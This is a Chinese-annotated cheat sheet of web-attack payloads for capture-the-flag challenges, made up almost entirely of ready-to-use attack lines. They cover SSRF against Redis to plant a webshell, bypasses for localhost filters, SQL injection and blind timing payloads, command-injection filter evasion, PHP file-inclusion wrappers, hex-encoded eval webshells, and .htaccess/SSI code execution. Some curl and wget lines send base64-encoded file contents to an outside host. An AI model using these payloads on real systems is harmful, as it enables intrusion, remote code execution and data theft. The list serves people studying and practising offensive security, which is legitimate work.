s7comm&&s7comm.param.func==0x05

file://C:/flag.txt

tcpdump -ilo0 port 3306 -w sql.pcapng

select '<?php phpinfo(); ?>' into out file "/tmp/1.php";

url=dict://127.0.0.1:8000

url=dict://127.0.0.1:8000/auth;123123(密码)

dict://127.0.0.1:8001/config:set:dbfilename:webshell.php
dict://127.0.0.1:8001/config:set:dir:/tmp
dict://127.0.0.1:8001/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x20\x3f\x3e"

https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/Ridter/redis-rce

https://github.com/r35tart/RedisWriteFile

file://localhost/var/www/html/config.php

跳转/解析到127.0.0.1：
http://127.0.0.1.nip.io/flag.php

编码绕过：进制转换
http://0x7f.0.0.1/flag.php

特殊字符绕过
http://①②⑦.⓪.⓪.①/flag.php
http://[0:0:0:0:0:ffff:127.0.0.1]/flag.php
http://127。0。0。1/flag.php
http://127.1/flag.php
http://[::]:80/flag.php
http://127.0.0.1./flag.php

X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1

httpsssss://../../../../../../etc/passwd

http://y1ng.vip\@flag.authenticator.das.ctf:80/则会访问到

flag.authenticator.das.ctf:80/ 

https://requestrepo.com/#/
https://lock.cmpxchg8b.com/rebinder.html

扫描工具：
masscan nmap goby等工具

app.post('/start', (req, res)=>{
    if ( !req.cookies.token || !req.session.name )
    {
        res.status(403).send("you are not allowed to visit this page")
        return
    }

    if ( !req.session.won )
        req.session.won = 0

    if ( !req.session.santa )
        req.session.santa = 0

if (req.user.is_win !== 'true' || req.session.is_win !== 'true' )

    let patt = /union|like|pragma|savepoint|vacuum|detach|alter|attach|insert|update|release|rollback|load|create|drop|delete|explain|regexp|=|>|<|"|'/i
    if ( req.user.id.match(patt) )
    {
        res.status(403).end("Never Trust Your User")
        return
    }

    db.get(`SELECT ITEM,LOG FROM AWARD WHERE id=${req.user.id}`,function(err,row){
        if (!row) {
            res.render("reward", {"award": "", "log": ""})
            return
        }
        if (row["ITEM"] && row["LOG"]){
            res.render("reward", {"award": row["ITEM"], "message" : row["LOG"]} )
        } else res.render("reward", {"award": "", "log": ""})
    })
})

file:///%25%37%36ar/www/html/index.php?png

?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=login.php
?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php

测试语句：:root'and/**/case/**/1/**/when/**/1/**/then/**/1/**/else/**/0/**/end#
true:welcomt admin
false:wrong

select group_concat(table_name) from sys.schema_table_statistics;

select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2

.login.php.swp

127.0.0.1/admin/include123.php

http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session)

http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session)&a=<?system('ls');?>

cat${IFS}$/fl""ag

$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}// 用逗号实现了空格功能，需要用{}括起来
%20
%09

ca\t y1n\g.php反斜线绕过
cat y1”ng.php 两个单引号绕过
echo “Y2F0IC9mbGFn” | base64 -d | bash#base64 编码绕过
echo “6361742079316E672E706870” | xxd -r -p | bash#hex 编码绕过
cat y1 [n] g.php用[]匹配
cat y1n*用*匹配任意
cat y1n?
cat y1{a..z}g 
more tlif3
less tlif3
head tlif3
tail tlif3
nl f*
m4 *

copy flag.php flag.txt
mv flag.php flag.txt
cat flag.php > flag.txt

tar cvf flag.tar flag.php #tar压缩
tar zcvf flag.tar.gz flag.php  #tar解压
zip flag.zip flag.php  #zip压缩
unzip flag.zip  #zip解压

echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
//echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`

curl ip:9999

curl -d @/home/www-data/res.txt http://xx:xxx
curl http://xx:xx/?d=`php -r 'file_'|base64`
echo `ps`>/home/www-data/res.txt

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件，在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

php_valueauto_append_file /tmp/webshell.txt
php_valueauto_append_file /tmp/sess_xxxxxx

Options +ExecCGI
SetHandlercgi-script

#!/bin/bash
echo "Content-Type: text/plain”
echo ""
cat /flag
exit 0

AddTypeapplication/x-httpd-p\
hp.jpg

AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes

<pre>
<!--#exec cmd="whoami" -->
</pre>

?file=../....../xxx.file

?file=../../../../../tmp/sess_xxxx

file=php://filter/string.strip_tags/resource=/etc/passwd
php://filter/read=convert.base64-encode/resource=mybackdoor.php
php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php
?file=php://filter/read=convert.base64-decode/resource=./a.txt

?file=php://input(需要allow_url_include=On)

若base64-encode被过滤，可以更换另一种编码方式
?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php如果没有过滤utf，使用convert.iconv.utf-8.utf-7
https://www.php.net/manual/en/mbstring.supported-encodings.php

proc 是个好东西，总结下经常会用到的文件：
1.maps 记录一些调用的扩展或者自定义so 文件
2.environ 环境变量
3.comm当前进程运行的程序
4.cmdline程序运行的绝对路径
5.cpusetdocker环境可以看machine ID
6.cgroupdocker环境下全是machine ID 不太常用

os.path.join('/tmp','/etc/passwd')
和
os.path.join('/tmp','/../../etc/passwd')是等价的

select sleep();

select benchmark(100000,sha1(sha1(sha1('tlfie'))));

select get_lock('tlife',1);
select get_lock('tlife',5);

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

show variables

select load_file('/flag')
select  CONVERT(LOAD_FILE("/etc/passwd") USING utf8);

select "<?php phpinfo();?>" into outfile "/tmp/1.php"
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php"

$mysqli->multi_query($sql);

set global general_log=on;
set global general_log_file='xxxx';-- 设置日志文件保存位置
select '<?php eval($_POST['a']); ?>';-- 该内容将会被写入日志中

handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next;#读取指定表/句柄的下一行数据
handler hdclose; #关闭句柄

set @a=xxxx;
prepare stmt1 from @a;
execute stmt1;

DELIMITER $$create procedure fuck(out oo text(999), in ii text(999))BEGINset oo = ii;END$$call fuck(@a, 0x73656C656374202731323327)$$prepare b from @a$$execute b$$

select table_name from sys.schema_auto_increment_columns where tabe_schema=database();

select table_name from mysql.innodb_table_stats where database_name='security'

select group_concat(table_name) from sys.schema_table_statistics

#查询所有的库
SELECT table_schemaFROM sys.schema_table_statisticsGROUP BY table_schema;
SELECT table_schemaFROM sys.x$schema_flattened_keysGROUP BY table_schema;
#查询指定库的表（若无则说明此表从未被访问）
SELECT table_nameFROM sys.schema_table_statisticsWHERE table_schema='mspwd' GROUP BY table_name;
SELECT table_nameFROM sys.x$schema_flattened_keysWHERE table_schema='mspwd' GROUP BY table_name;
#统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) iofrom sys.schema_table_statisticsgroup by table_schema,table_nameorder by iodesc;
#查看所有正在连接的用户详细信息
SELECT user,db,command,current_statement,last_statement,timeFROM sys.session;
#查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connectionsFROM sys.host_summary;

select 1,2,3 union select * from users

select group_concat(a.2) from (select 1,2,3 union select * from users);